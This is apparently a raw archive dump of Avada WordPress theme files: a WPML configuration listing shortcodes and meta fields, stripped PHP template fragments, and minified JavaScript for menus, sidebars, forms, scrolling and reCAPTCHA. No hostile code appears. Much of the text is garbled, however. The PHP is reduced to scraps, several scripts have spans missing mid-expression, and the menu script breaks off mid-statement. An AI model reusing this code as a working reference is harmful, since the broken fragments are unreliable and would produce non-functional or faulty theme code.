    Avada/wpml-config.xml000064400000105045152342437710010541 0ustar00 /\[(fusion_builder_container|fusion_builder_row|fusion_builder_row_inner|fusion_builder_column|fusion_builder_column_inner)/ fusion_alert,fusion_blog,fusion_button,fusion_checklist,fusion_li_item,fusion_code,fusion_builder_row,fusion_builder_row_inner,fusion_builder_column,fusion_builder_column_inner,fusion_builder_container,fusion_content_boxes,fusion_content_box,fusion_countdown,fusion_counters_box,fusion_counter_box,fusion_counters_circle,fusion_counter_circle,fusion_dropcap,fusion_events,fusion_faq,fusion_flip_boxes,fusion_flip_box,fusion_fontawesome,fusion_fusionslider,fusion_map,fusion_images,fusion_image,fusion_imageframe,layerslider,fusion_lightbox,fusion_menu_anchor,fusion_modal,fusion_modal_text_link,fusion_one_page_text_link,fusion_person,fusion_popover,fusion_popover,fusion_portfolio,fusion_postslider,fusion_pricing_table,fusion_pricing_column,fusion_pricing_price,fusion_pricing_row,fusion_pricing_footer,fusion_progress,fusion_recent_posts,rev_slider,fusion_section_separator,fusion_separator,fusion_sharing,fusion_slider,fusion_slide,fusion_social_links,fusion_soundcloud,fusion_soundcloud,fusion_tabs,fusion_tab,fusion_tagline_box,fusion_testimonials,fusion_testimonial,fusion_text,fusion_title,fusion_accordion,fusion_toggle,fusion_tooltip,fusion_login,fusion_lost_password,fusion_register,fusion_vimeo,fusion_widget_area,fusion_products_slider,fusion_featured_products_slider,fusion_youtube,fusion_tb_author,fusion_tb_comments,fusion_tb_content,fusion_tb_featured_slider,fusion_tb_pagination,fusion_tb_related,fusion_tb_results,fusion_tb_project_details,fusion_contact_form,fusion_privacy,fusion_audio,fusion_breadcrumbs,fusion_convert_plus,fusion_highlight,fusion_search,fusion_syntax_highlighter,fusion_video,fusion_widget,fusion_form themefusion_elastic slide layerslider revslider avada_faq avada_portfolio fusion_tb_section fusion_element fusion_icons fusion_form awb_off_canvas portfolio_category faq_category portfolio_skills portfolio_tags themefusion_es_groups slide-page fusion_tb_category element_category avada_post_views_count pyre_address pyre_caption_1 pyre_caption_2 pyre_copy_url pyre_copy_url_text pyre_displayed_menu pyre_display_copyright pyre_display_footer pyre_display_header pyre_elasticslider pyre_email pyre_fallback pyre_fimg_height pyre_fimg_width pyre_flexslider pyre_full_width pyre_gmap pyre_header_bg pyre_header_bg_color pyre_header_bg_full pyre_header_bg_repeat pyre_hundredp_padding pyre_image_rollover_icons pyre_link_icon_target pyre_link_icon_url pyre_main_bottom_padding pyre_main_top_padding pyre_overall_score pyre_page_bg pyre_page_bg_color pyre_page_bg_full pyre_page_bg_layout pyre_page_bg_repeat pyre_page_title pyre_page_title_bar_bg pyre_page_title_bar_bg_color pyre_page_title_bar_bg_full pyre_page_title_bar_bg_retina pyre_page_title_bg_parallax pyre_page_title_custom_subheader pyre_page_title_custom_text page_title_text_size page_title_text_alignment page_title_custom_subheader_text_size page_title_breadcrumbs_search_bar pyre_page_title_text pyre_phone pyre_portfolio_category pyre_portfolio_excerpt pyre_portfolio_filters pyre_portfolio_full_width pyre_portfolio_sidebar_position pyre_portfolio_width_100 pyre_project_desc_title pyre_project_details pyre_project_url pyre_project_url_text pyre_related_posts pyre_revslider pyre_show_first_featured_image pyre_sidebar pyre_sidebar_position pyre_slider pyre_slider_position pyre_slider_type pyre_transparent_header pyre_video pyre_video_url pyre_wide_page_bg pyre_wide_page_bg_color pyre_wide_page_bg_full pyre_wide_page_bg_repeat pyre_width pyre_wooslider sbg_selected_sidebar sbg_selected_sidebar_replacement sbg_selected_sidebar_2 sbg_selected_sidebar_2_replacement slide_template pyre_avada_rev_styles pyre_footer_100_width pyre_header_100_width pyre_page_title_100_width pyre_page_title_breadcrumbs_search_bar pyre_page_title_text_alignment pyre_project_url_text pyre_heading pyre_caption pyre_type pyre_content_alignment pyre_webm pyre_mp4 pyre_ogv pyre_preview_image pyre_video_bg_color pyre_mute_video pyre_autoplay_video pyre_loop_video pyre_hide_video_controls pyre_youtube_id pyre_aspect_ratio pyre_video_display pyre_vimeo_id pyre_heading_font_size pyre_heading_color pyre_heading_bg pyre_heading_bg_color pyre_caption_font_size pyre_caption_color pyre_caption_bg pyre_caption_bg_color pyre_link_type pyre_button_1 pyre_button_2 pyre_slide_link pyre_slide_target pyre_post_links_target pyre_share_box pyre_post_pagination pyre_author_info pyre_post_meta pyre_header_bg_opacity pyre_sidebar_sticky pyre_sidebar_bg_color pyre_page_title_text_size pyre_page_title_line_height pyre_page_title_custom_subheader_text_size pyre_page_title_font_color pyre_page_title_height pyre_page_title_mobile_height pyre_page_title_bar_borders_color kd_featured-image-2_post_id kd_featured-image-3_post_id kd_featured-image-4_post_id kd_featured-image-5_post_id fusion_builder_status fusion_demo_import _fusion_is_global _fusion_builder_custom_css _fusion _menu_item_fusion_megamenu fusion_slider_options _fusion fusion_alert dynamic_params fusion_blog title_link fusion_button link title dynamic_params fusion_checklist fusion_li_item dynamic_params fusion_code fusion_builder_row fusion_builder_column link fusion_builder_column_inner link fusion_builder_container menu_anchor video_mp4 video_url fusion_content_boxes image fusion_content_box title link linktext image dynamic_params fusion_countdown heading_text subheading_text link_url link_text dynamic_params fusion_counters_box fusion_counter_box dynamic_params fusion_counters_circle fusion_counter_circle dynamic_params fusion_dropcap fusion_events cat_slug fusion_faq cats_slug exclude_cats fusion_flip_boxes image fusion_flip_box title_front title_back text_front image dynamic_params fusion_fontawesome dynamic_params fusion_fusionslider name fusion_map address infobox_content infobox fusion_images fusion_image link alt image fusion_imageframe gallery_id alt link image_id dynamic_params layerslider fusion_lightbox video_url description alt_text full_image thumbnail_image dynamic_params fusion_menu_anchor fusion_modal title dynamic_params fusion_modal_text_link dynamic_params fusion_one_page_text_link link fusion_person name title pic_link picture dynamic_params fusion_popover title content dynamic_params fusion_pricing_table fusion_pricing_column title fusion_pricing_price currency price time fusion_pricing_row fusion_pricing_footer fusion_progress rev_slider fusion_section_separator fusion_separator fusion_sharing tagline title link description pinterest_image dynamic_params fusion_slider fusion_slide link fusion_social_links dynamic_params fusion_soundcloud url fusion_tabs dynamic_params fusion_tab title fusion_testimonials fusion_testimonial name company link fusion_text dynamic_params fusion_title dynamic_params fusion_accordion fusion_toggle title dynamic_params fusion_tooltip title fusion_login heading caption redirection_link register_link lost_password_link fusion_lost_password heading caption redirection_link fusion_register heading caption redirection_link fusion_vimeo id fusion_widget_area name fusion_featured_products_slider fusion_youtube id fusion_table fusion_tagline_box link button title description dynamic_params fusion_chart title x_axis_label y_axis_label x_axis_labels fusion_chart_dataset title values fusion_image_before_after before_label after_label before_image after_image fusion_gallery image_ids dynamic_params fusion_dropcap fusion_video video video_webm fusion_audio src fusion_woo_cart_table fusion_form fusion_form_email label placeholder fusion_form_notice success error fusion_form_checkbox label tooltip options fusion_form_radio label tooltip options fusion_form_select label tooltip options fusion_form_range label tooltip fusion_form_rating label tooltip fusion_form_date label placeholder tooltip fusion_form_image_select label tooltip fusion_form_date label placeholder tooltip fusion_form_textarea label placeholder tooltip fusion_form_text label placeholder tooltip fusion_form_phone_number label placeholder tooltip fusion_form_submit Avada/sidebar-shop.php000064400000000311152342437710010654 0ustar00 fusion_library->get_page_id(); ?> template->render_footer(); } ?> settings->get( 'slidingbar_widgets' ) || $is_builder ) : ?>
    settings->get( 'slidingbar_widgets' ) ) { get_template_part( 'sliding_bar' ); } ?>
    settings->get( 'layout' ) ) : ?> settings->get( 'scroll_offset' ) ) : ?>
    settings->get( 'boxed_modal_shadow' ) ) : ?>
    Avada/taxonomy-wpfc_bible_book.php000064400000001360152342437710013263 0ustar00 Avada/tribe/events/v2/default-template.php000064400000001331152342437710014474 0ustar00
    get_view_html(); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    template->title_template( $subtitle ); ?>
    404
    Avada/assets/min/js/general/avada-contact.js000064400000000553152342437710014754 0ustar00"use strict";var fusionOnloadCallback=function(){grecaptcha.ready(function(){var a=grecaptcha.render("recaptcha-container",{sitekey:avadaContactVars.recaptcha_public,badge:avadaContactVars.badge_position,size:"invisible"});grecaptcha.execute(a,{action:"contact_form"}).then(function(a){jQuery(".avada-contact-form").find("#fusion-recaptcha-response").val(a)})})};Avada/assets/min/js/general/avada-nicescroll.js000064400000002433152342437710015455 0ustar00!function(o){"use strict";var e=function(){this.maybeInit=function(){var e=this;!Modernizr.mq("screen and (max-width: "+(800+parseInt(avadaNiceScrollVars.side_header_width,10))+"px)")&&o("body").outerHeight(!0)>o(window).height()&&!navigator.userAgent.match(/(Android|iPod|iPhone|iPad|IEMobile|Opera Mini)/)?setTimeout(function(){e.revive()},50):(e.destroy(),o("body").outerHeight(!0)=Math.floor(jQuery("#main").height())?(jQuery(".fusion-sidebar-left.fusion-sticky-sidebar .fusion-sidebar-inner-content").hasClass("fusion-sidebar-stuck")||jQuery(".fusion-sidebar-left.fusion-sticky-sidebar .fusion-sidebar-inner-content").stick_in_parent({parent:"#main > .fusion-row",sticky_class:"fusion-sidebar-stuck",bottoming:!0,spacer:!1,offset_top:e}).on("sticky_kit:stick",function(e){var s=jQuery(e.target);jQuery("body").hasClass("double-sidebars")&&(s.css("margin-left","0"),s.parent().css({"margin-left":s.data("margin"),width:s.data("width")})),s.parent().children(".fusion-panel-shortcuts-wrapper").length&&(s.parent().removeClass("fusion-panel-customizable-needs-positioned"),s.prepend(s.parent().children(".fusion-panel-shortcuts-wrapper")))}).on("sticky_kit:unstick",function(e){var s=jQuery(e.target);jQuery("body").hasClass("double-sidebars")&&s.css("margin-left",s.data("margin")),s.children(".fusion-panel-shortcuts-wrapper").length&&(s.parent().addClass("fusion-panel-customizable-needs-positioned"),s.parent().prepend(s.children(".fusion-panel-shortcuts-wrapper")))}),jQuery(".fusion-sidebar-right.fusion-sticky-sidebar .fusion-sidebar-inner-content").hasClass("fusion-sidebar-stuck")||jQuery(".fusion-sidebar-right.fusion-sticky-sidebar .fusion-sidebar-inner-content").stick_in_parent({parent:"#main > .fusion-row",sticky_class:"fusion-sidebar-stuck",bottoming:!0,spacer:!1,offset_top:e}).on("sticky_kit:stick",function(e){var s=jQuery(e.target);jQuery("body").hasClass("double-sidebars")&&(s.css("margin-left","0"),s.parent().css({"margin-left":s.data("margin"),width:s.data("width")})),s.parent().children(".fusion-panel-shortcuts-wrapper").length&&(s.parent().removeClass("fusion-panel-customizable-needs-positioned"),s.prepend(s.parent().children(".fusion-panel-shortcuts-wrapper")))}).on("sticky_kit:unstick",function(e){var s=jQuery(e.target);jQuery("body").hasClass("double-sidebars")&&s.css("margin-left",s.data("margin")),s.children(".fusion-panel-shortcuts-wrapper").length&&(s.parent().addClass("fusion-panel-customizable-needs-positioned"),s.parent().prepend(s.children(".fusion-panel-shortcuts-wrapper")))})):(jQuery(".fusion-sidebar-left.fusion-sticky-sidebar .fusion-sidebar-inner-content").trigger("sticky_kit:detach"),jQuery(".fusion-sidebar-right.fusion-sticky-sidebar .fusion-sidebar-inner-content").trigger("sticky_kit:detach"))}function calcStickySidebarOffset(){var e=fusion.getAdminbarHeight()+50,s=!1;return jQuery(".fusion-tb-header").length&&"function"==typeof fusionGetStickyOffset?(s=fusionGetStickyOffset())?s+e:e:("top"===avadaSidebarsVars.header_position&&avadaSidebarsVars.header_sticky&&jQuery(".fusion-header").length&&("v4"===avadaSidebarsVars.header_layout||"v5"===avadaSidebarsVars.header_layout?"menu_only"===avadaSidebarsVars.header_sticky_type2_layout?e+=jQuery(".fusion-secondary-main-menu").height():e+=jQuery(".fusion-sticky-header-wrapper").height():avadaSidebarsVars.sticky_header_shrinkage?e+=66:e+=jQuery(".fusion-header").height()),e)}jQuery(document).ready(function(){var e,s=calcStickySidebarOffset();1<=jQuery("#sidebar-2").length&&(e=jQuery("#sidebar").css("float"),jQuery("body").addClass("sidebar-position-"+e)),setStickySidebarStatus(s),jQuery(window).on("fusion-resize-vertical",function(){fusionReSettStickySidebarStatus()})});Avada/assets/min/js/general/avada-tabs-widget.js000064400000000767152342437710015542 0ustar00jQuery(document).on("ready fusion-widget-render-Fusion_Widget_Tabs",function(){jQuery(".fusion-tabs-widget .fusion-tabs-nav li a").on("click",function(n){var t=jQuery(this).data("link");n.preventDefault(),jQuery(this).parents(".fusion-tabs-nav").find("li").removeClass("active"),jQuery(this).parent().addClass("active"),jQuery(this).parents(".fusion-tabs-widget").find(".fusion-tab-content").hide(),jQuery(this).parents(".fusion-tabs-widget").find('.fusion-tab-content[data-name="'+t+'"]').fadeIn()})});Avada/assets/min/js/general/avada-side-nav.js000064400000003233152342437710015025 0ustar00jQuery(document).ready((function(){jQuery(".side-nav-left .side-nav li").each((function(){jQuery(this).find("> .children").length&&(jQuery(".rtl").length?jQuery(this).find("> a").prepend(''):jQuery(this).find("> a").append(''))})),jQuery(".side-nav-right .side-nav li").each((function(){jQuery(this).find("> .children").length&&(jQuery("body.rtl").length?jQuery(this).find("> a").append(''):jQuery(this).find("> a").prepend(''))})),jQuery(".side-nav .current_page_item").each((function(){var e=jQuery(this).parent(),n=jQuery(this).find(".children");n.length&&n.show("slow"),e.hasClass("side-nav")&&jQuery(this).find("ul").show("slow"),e.hasClass("children")&&jQuery(this).parents("ul").show("slow")}))})),jQuery(window).on("load",(function(){"click"===avadaSideNavVars.sidenav_behavior?jQuery(".side-nav li a .arrow").on("click",(function(e){var n=jQuery(this).parent().parent(),i=n.find("> .children");if(e.preventDefault(),n.hasClass(".page_item_has_children").length&&(i.length&&!i.is(":visible")?i.stop(!0,!0).slideDown("slow"):i.stop(!0,!0).slideUp("slow")),jQuery(this).parent().parent(".page_item_has_children.current_page_item").length)return!1})):jQuery(".side-nav li").each((function(){var e;jQuery(this).hover((function(){var n=jQuery(this).find("> .children");clearTimeout(e),e=setTimeout((function(){n.length&&n.stop(!0,!0).slideDown("slow")}),500)}),(function(){var n=jQuery(this),i=n.find(".children");clearTimeout(e),e=setTimeout((function(){0===n.find(".current_page_item").length&&!1===n.hasClass("current_page_item")&&i.stop(!0,!0).slideUp("slow")}),500)}))}))}));Avada/assets/min/js/general/avada-crossfade-images.js000064400000000761152342437710016536 0ustar00function fusionResizeCrossfadeImagesContainer(e){let i=0;e.css("height",""),e.find("img").each((function(){const e=jQuery(this).height();e>i&&(i=e)})),e.css("height",i)}jQuery(window).on("load",(function(){jQuery(window).on("fusion-resize-horizontal",(function(){setTimeout((function(){jQuery(".crossfade-images").each((function(){fusionResizeCrossfadeImagesContainer(jQuery(this))}))}),200)})),jQuery(".crossfade-images").each((function(){fusionResizeCrossfadeImagesContainer(jQuery(this))}))}));Avada/assets/min/js/general/avada-to-top.js000064400000003635152342437710014547 0ustar00function avadaUpdateToTopPostion(){var o=avadaToTopVars.totop_position.split("_");o=2===o.length?"to-top-"+o[0]+" to-top-"+o[1]:"to-top-"+o[0],jQuery(".to-top-container").attr("class","to-top-container"),jQuery(".to-top-container").addClass(o)}jQuery(document).ready((function(){var o=0,t=jQuery("html").hasClass("ua-edge")||jQuery("html").hasClass("ua-safari-12")||jQuery("html").hasClass("ua-safari-11")||jQuery("html").hasClass("ua-safari-10")?"body":"html";jQuery(".fusion-top-top-link").on("click",(function(o){o.preventDefault();const e=jQuery(document).height()-jQuery(window).height(),n=jQuery(document).scrollTop()/e;(cssua.ua.mobile&&-1!==avadaToTopVars.status_totop.indexOf("mobile")||!cssua.ua.mobile)&&(jQuery(t).on("scroll wheel mousedown keydown touchstart",(function(){jQuery(t).stop()})),jQuery(t).animate({scrollTop:0},1500-500*n,"easeInOutExpo",(function(){jQuery(t).off("scroll mousedown wheel keydown touchstart")})))})),jQuery(window).on("scroll",(function(){var t=jQuery(this).scrollTop();200=o||1!==parseInt(avadaToTopVars.totop_scroll_down_only))?jQuery(".fusion-top-top-link").addClass("fusion-to-top-active"):jQuery(".fusion-top-top-link").removeClass("fusion-to-top-active"),o=t})),jQuery(window).on("updateToTopPostion",avadaUpdateToTopPostion)})),jQuery(document).ready((function(){jQuery.fn.toTopScrollProgress=function(){var o,t=jQuery(this);getMaxScroll=function(){return jQuery(document).height()-jQuery(window).height()},getWidthPercentage=function(){const t=jQuery(window).scrollTop();let e=Math.ceil(t/o*100);return 100'),jQuery('
    ').appendTo(e.parent(".gravity-select-parent"))),calcSelectArrowDimensions(),calcGravitySelectArrowPosition()}),100)}))}function calcGravitySelectArrowPosition(){jQuery(".gravity-select-parent").each((function(){var e=jQuery(this).children("select"),r=jQuery(this).children(".select-arrow");r.css("left",e.outerWidth()-2*parseFloat(e.css("border-right-width"))-r.width())}))}function recursiveGFormSubmissionHandler(){jQuery(".gform_wrapper").find("form").attr("target")&&-1'))}))})),recursiveGFormSubmissionHandler(),jQuery(document).on("gform_post_render",(function(e,r){wrapGravitySelects("#gform_wrapper_"+r)})),jQuery(window).on("load",(function(){jQuery(".gform_wrapper").each((function(){jQuery(this).removeClass("gf_browser_ie")})),wrapGravitySelects(),jQuery(window).on("fusion-resize-horizontal",(function(){calcGravitySelectArrowPosition()})),"undefined"!=typeof gform&&gform&&gform.addAction("gform_post_conditional_logic_field_action",(function(e,r,t,i,n){"show"!==r||n||setTimeout((function(){calcSelectArrowDimensions(),wrapGravitySelects()}),50)}))})),jQuery(window).on("fusion-dynamic-content-render",(function(e,r){wrapGravitySelects(r)}));Avada/assets/min/js/general/avada-menu.js000064400000115656152342437710014300 0ustar00function resizeOverlaySearch(){var e=0,n=!0,i=0,s=!0;jQuery(".fusion-main-menu:not(.fusion-sticky-menu)").is(":visible")||(n=!1,jQuery(".fusion-main-menu:not(.fusion-sticky-menu)").css("display","block")),jQuery(".fusion-main-menu:not(.fusion-sticky-menu) .fusion-menu > li").each((function(){e+=jQuery(this).outerWidth(!0)})),jQuery(".fusion-main-menu:not(.fusion-sticky-menu) .fusion-overlay-search").css("max-width",e+"px"),n||jQuery(".fusion-main-menu:not(.fusion-sticky-menu)").css("display",""),jQuery(".fusion-main-menu.fusion-sticky-menu").is(":visible")||(s=!1,jQuery(".fusion-main-menu.fusion-sticky-menu").css("display","block")),jQuery(".fusion-main-menu.fusion-sticky-menu .fusion-menu > li").each((function(){i+=jQuery(this).outerWidth(!0)})),jQuery(".fusion-main-menu.fusion-sticky-menu .fusion-overlay-search").css("max-width",i+"px"),s||jQuery(".fusion-main-menu.fusion-sticky-menu").css("display","")}jQuery(document).ready((function(){"use strict";var e;function n(){jQuery.fn.fusion_position_menu_dropdown&&(jQuery(".fusion-dropdown-menu, .fusion-dropdown-menu li").on("mouseenter",(function(){jQuery(this).closest(".awb-menu").length||jQuery(this).fusion_position_menu_dropdown()})),jQuery(".fusion-dropdown-menu > ul > li").each((function(){jQuery(this).walk_through_menu_items()})),jQuery(window).on("fusion-resize-horizontal",(function(){jQuery(".fusion-dropdown-menu > ul > li").each((function(){jQuery(this).walk_through_menu_items()}))})))}function i(){jQuery.fn.fusion_position_megamenu&&(jQuery(".fusion-main-menu > ul").fusion_position_megamenu(),jQuery(document.body).on("mouseenter",".fusion-main-menu .fusion-megamenu-menu",(function(){jQuery(this).parent().fusion_position_megamenu()})),jQuery(window).on("resize",(function(){jQuery(".fusion-main-menu > ul").fusion_position_megamenu()}))),jQuery.fn.calc_megamenu_widths&&(jQuery(".fusion-main-menu > ul").calc_megamenu_widths(),jQuery(window).on("resize",(function(){jQuery(".fusion-main-menu > ul").calc_megamenu_widths()})))}function s(e){"top"===avadaMenuVars.header_position&&(jQuery(e).on("mouseenter",(function(){jQuery(this).find("> div").length&&0>jQuery(this).find("> div").offset().left&&jQuery(this).find("> div").css({left:"0",right:"auto"}),jQuery(this).find("> div").length&&jQuery(this).find("> div").offset().left+jQuery(this).find("> div").width()>jQuery(window).width()&&jQuery(this).find("> div").css({left:"auto",right:"0"})})),jQuery(window).on("fusion-resize-horizontal",(function(){jQuery(e).find("> div").each((function(){var e=jQuery(this),n=e.outerWidth(),i=e.offset().left,s=i+n,u=e.parent().offset().left,t=jQuery(window).width();jQuery("body.rtl").length?parseInt(i,10)===parseInt(u,10)&&s>t||it?e.css({left:"auto",right:"0"}):e.css({left:"0",right:"auto"}):ii||parseInt(i,10)===parseInt(u,10)&&0>i-n?e.css({left:"0",right:"auto"}):e.css({left:"auto",right:"0"})}))})))}function u(){jQuery(".fusion-mobile-nav-holder").not(".fusion-mobile-sticky-nav-holder").each((function(){var e=jQuery(this),n="",i="",s="";(i=jQuery(".fusion-mobile-navigation").length?jQuery(this).parent().find(".fusion-mobile-navigation, .fusion-secondary-menu").not(".fusion-sticky-menu"):jQuery(this).parent().find(".fusion-main-menu, .fusion-secondary-menu").not(".fusion-sticky-menu")).length&&("classic"!==avadaMenuVars.mobile_menu_design||e.find(".fusion-mobile-selector").length||(e.append('"),jQuery(this).find(".fusion-mobile-selector").append('
    ')),jQuery(e).find("ul").length||(jQuery(e).append(jQuery(i).find("> ul").clone()),jQuery(e).find("ul > li > a").css("height","")),void 0!==(s=(n=jQuery(e).find("> ul")).attr("id"))&&0!==s.indexOf("mobile-menu-")&&n.attr("id","mobile-"+s),n.removeClass("fusion-middle-logo-ul"),"classic"===avadaMenuVars.mobile_menu_design&&e.find(".fusion-mobile-selector").attr("aria-controls",n.attr("id")),n.find(".fusion-middle-logo-menu-logo, .fusion-caret, .fusion-menu-login-box .fusion-custom-menu-item-contents, .fusion-menu-cart .fusion-custom-menu-item-contents, .fusion-main-menu-search, li> a > span > .button-icon-divider-left, li > a > span > .button-icon-divider-right, .fusion-arrow-svg, .fusion-dropdown-svg").remove(),(jQuery(".no-mobile-slidingbar").length||"classic"!==avadaMenuVars.mobile_menu_design)&&n.find(".fusion-main-menu-sliding-bar").remove(),"classic"===avadaMenuVars.mobile_menu_design?n.find(".fusion-menu-cart > a").html(avadaMenuVars.mobile_nav_cart):n.find(".fusion-main-menu-cart").remove(),n.find("li").each((function(){var e="fusion-mobile-nav-item";jQuery(this).data("classes")&&(e+=" "+jQuery(this).data("classes")),jQuery(this).find("img").hasClass("wpml-ls-flag")&&(e+=" wpml-ls-item"),jQuery(this).hasClass("menu-item-has-children")&&(e+=" menu-item-has-children"),jQuery(this).find("> a > .menu-text").removeAttr("class").addClass("menu-text"),(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor"))&&(e+=" fusion-mobile-current-nav-item"),jQuery(this).attr("class",e),jQuery(this).attr("id")&&0!==jQuery(this).attr("id").indexOf("mobile-menu-item-")&&jQuery(this).attr("id",jQuery(this).attr("id").replace("menu-item","mobile-menu-item")),jQuery(this).attr("style","")})))})),jQuery(".fusion-mobile-sticky-nav-holder").each((function(){var e=jQuery(this),n="",i=jQuery(this).parent().find(".fusion-sticky-menu"),s="";"classic"!==avadaMenuVars.mobile_menu_design||e.find(".fusion-mobile-selector").length||(e.append('"),jQuery(this).find(".fusion-mobile-selector").append('
    ')),jQuery(e).find("ul").length||jQuery(e).append(jQuery(i).find("> ul").clone()),void 0!==(s=(n=jQuery(e).find("> ul")).attr("id"))&&0!==s.indexOf("mobile-menu-")&&n.attr("id","mobile-"+s),"classic"===avadaMenuVars.mobile_menu_design&&e.find(".fusion-mobile-selector").attr("aria-controls",n.attr("id")),n.find(".fusion-middle-logo-menu-logo, .fusion-menu-cart, .fusion-menu-login-box, .fusion-main-menu-search, .fusion-arrow-svg, .fusion-dropdown-svg").remove(),(jQuery(".no-mobile-slidingbar").length||"classic"!==avadaMenuVars.mobile_menu_design)&&n.find(".fusion-main-menu-sliding-bar").remove(),n.find(".fusion-button").attr("class","menu-text"),n.find("li").each((function(){var e="fusion-mobile-nav-item";jQuery(this).data("classes")&&(e+=" "+jQuery(this).data("classes")),jQuery(this).find("img").hasClass("wpml-ls-flag")&&(e+=" wpml-ls-item"),(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor"))&&(e+=" fusion-mobile-current-nav-item"),jQuery(this).attr("class",e),jQuery(this).attr("id")&&0!==jQuery(this).attr("id").indexOf("mobile-menu-item-")&&jQuery(this).attr("id",jQuery(this).attr("id").replace("menu-item","mobile-menu-item")),jQuery(this).attr("style","")}))})),jQuery(".fusion-mobile-nav-holder > ul > li").each((function(){jQuery(this).find(".fusion-megamenu-widgets-container").remove(),jQuery(this).find(".fusion-megamenu-holder > ul").each((function(){jQuery(this).attr("class","sub-menu"),jQuery(this).attr("style",""),jQuery(this).find("> li").each((function(){var e,n="fusion-mobile-nav-item";jQuery(this).data("classes")&&(n+=" "+jQuery(this).data("classes")),jQuery(this).find("img").hasClass("wpml-ls-flag")&&(n+=" wpml-ls-item"),(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor")||jQuery(this).hasClass("fusion-mobile-current-nav-item"))&&(n+=" fusion-mobile-current-nav-item"),jQuery(this).hasClass("menu-item-has-children")&&(n+=" menu-item-has-children"),jQuery(this).attr("class",n),jQuery(this).find(".fusion-megamenu-title a, > a").length||(jQuery(this).find(".fusion-megamenu-title").each((function(){jQuery(this).children("a").length||jQuery(this).append(''+jQuery(this).html()+"")})),jQuery(this).find(".fusion-megamenu-title").length||(e=jQuery(this),jQuery(this).find(".sub-menu").each((function(){e.after(jQuery(this))})),jQuery("body").hasClass("fusion-builder-live")?(jQuery(this).addClass("fusion-hidden-mobile-menu-item"),jQuery(this).hide()):jQuery(this).remove())),jQuery(this).prepend(jQuery(this).find(".fusion-megamenu-title a, > a")),jQuery(this).find(".fusion-megamenu-title").remove()})),jQuery(this).closest(".fusion-mobile-nav-item").append(jQuery(this))})),jQuery(this).find(".fusion-megamenu-wrapper, .caret, .fusion-megamenu-bullet").remove()})),jQuery('.fusion-mobile-nav-holder .fusion-mobile-nav-item a:not([href="#"])').on("click",(function(){""!==jQuery(this.hash).length&&this.hash.slice(1)&&(jQuery(this).parents(".fusion-mobile-menu-design-classic").length?jQuery(this).parents(".fusion-menu, .menu").hide().removeClass("mobile-menu-expanded"):jQuery(this).parents(".fusion-mobile-nav-holder").hide())})),avadaMenuVars.submenu_slideout&&"flyout"!==avadaMenuVars.mobile_menu_design&&(jQuery(".fusion-mobile-nav-holder > ul li").each((function(){var e,n,i="fusion-mobile-nav-item",s=jQuery(this).find(" > ul");jQuery(this).data("classes")&&(i+=" "+jQuery(this).data("classes")),jQuery(this).find("img").hasClass("wpml-ls-flag")&&(i+=" wpml-ls-item"),(jQuery(this).hasClass("current-menu-item")||jQuery(this).hasClass("current-menu-parent")||jQuery(this).hasClass("current-menu-ancestor")||jQuery(this).hasClass("fusion-mobile-current-nav-item"))&&(i+=" fusion-mobile-current-nav-item"),jQuery(this).hasClass("menu-item-has-children")&&(i+=" menu-item-has-children"),jQuery(this).attr("class",i),s.length&&0<(e=jQuery(this).find("> a")).length&&(n=void 0!==e.attr("title")?e.attr("title"):e.children(".menu-text").length?e.children(".menu-text").clone().children().remove().end().text():e[0].innerText,e.after(''),s.hide())})),jQuery(".fusion-mobile-nav-holder .fusion-open-submenu").on("click",(function(e){var n,i=jQuery(this).parent().children(".sub-menu"),s=jQuery(this).parent().children("a");n=void 0!==s.attr("title")?s.attr("title"):s.children(".menu-text").length?s.children(".menu-text").clone().children().remove().end().text():s[0].innerText,e.stopPropagation(),i.slideToggle(200,"easeOutQuad"),i.toggleClass("fusion-sub-menu-open"),i.hasClass("fusion-sub-menu-open")?(jQuery(this).attr("aria-label",avadaMenuVars.mobile_submenu_close.replace("%s",n)),jQuery(this).attr("aria-expanded","true")):(jQuery(this).attr("aria-label",avadaMenuVars.mobile_submenu_open.replace("%s",n)),jQuery(this).attr("aria-expanded","false"))})),jQuery(".fusion-mobile-nav-holder a:not(.fusion-menu-edit, .awb-icon-sliding-bar)").on("click",(function(e){"#"===jQuery(this).attr("href")&&("modal"===jQuery(this).data("toggle")?jQuery(this).trigger("show.bs.modal"):void 0===jQuery(this).parent().data("off-canvas")&&(e.preventDefault(),e.stopPropagation()),jQuery(this).next(".fusion-open-submenu").trigger("click"))})))}function t(){var e,n,i,s=jQuery(".fusion-header-has-flyout-menu"),u=0,t=Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1366px) and (orientation: portrait)")||Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)"),o=Modernizr.mq("only screen and (max-width: "+avadaMenuVars.side_header_break_point+"px)");jQuery("body").on("touchmove",(function(e){jQuery(e.target).parents(".fusion-flyout-menu").length||e.preventDefault()})),1<=jQuery(".fusion-mobile-menu-design-flyout").length?(n=1<=jQuery(".fusion-is-sticky").length&&1<=jQuery(".fusion-mobile-sticky-nav-holder").length?s.find(".fusion-flyout-menu.fusion-mobile-sticky-nav-holder"):s.find(".fusion-flyout-menu:not(.fusion-mobile-sticky-nav-holder)"),s.find(".fusion-flyout-menu").css({display:"none"}),n.css({display:"flex"})):n=s.find(".fusion-flyout-menu"),jQuery(".fusion-header-has-flyout-menu .fusion-secondary-header").length&&(u+=jQuery(".fusion-header-has-flyout-menu .fusion-secondary-header").outerHeight()),jQuery("body").hasClass("layout-boxed-mode")&&(u+=jQuery("body").outerHeight(!0)-jQuery("body").outerHeight()),window.$wpadminbarHeight=fusion.getAdminbarHeight(),e=jQuery(".fusion-header-has-flyout-menu-content").height()+jQuery(".fusion-secondary-header").height()+window.$wpadminbarHeight,s.hasClass("fusion-flyout-menu-active")&&(n.css({height:"calc(100% - 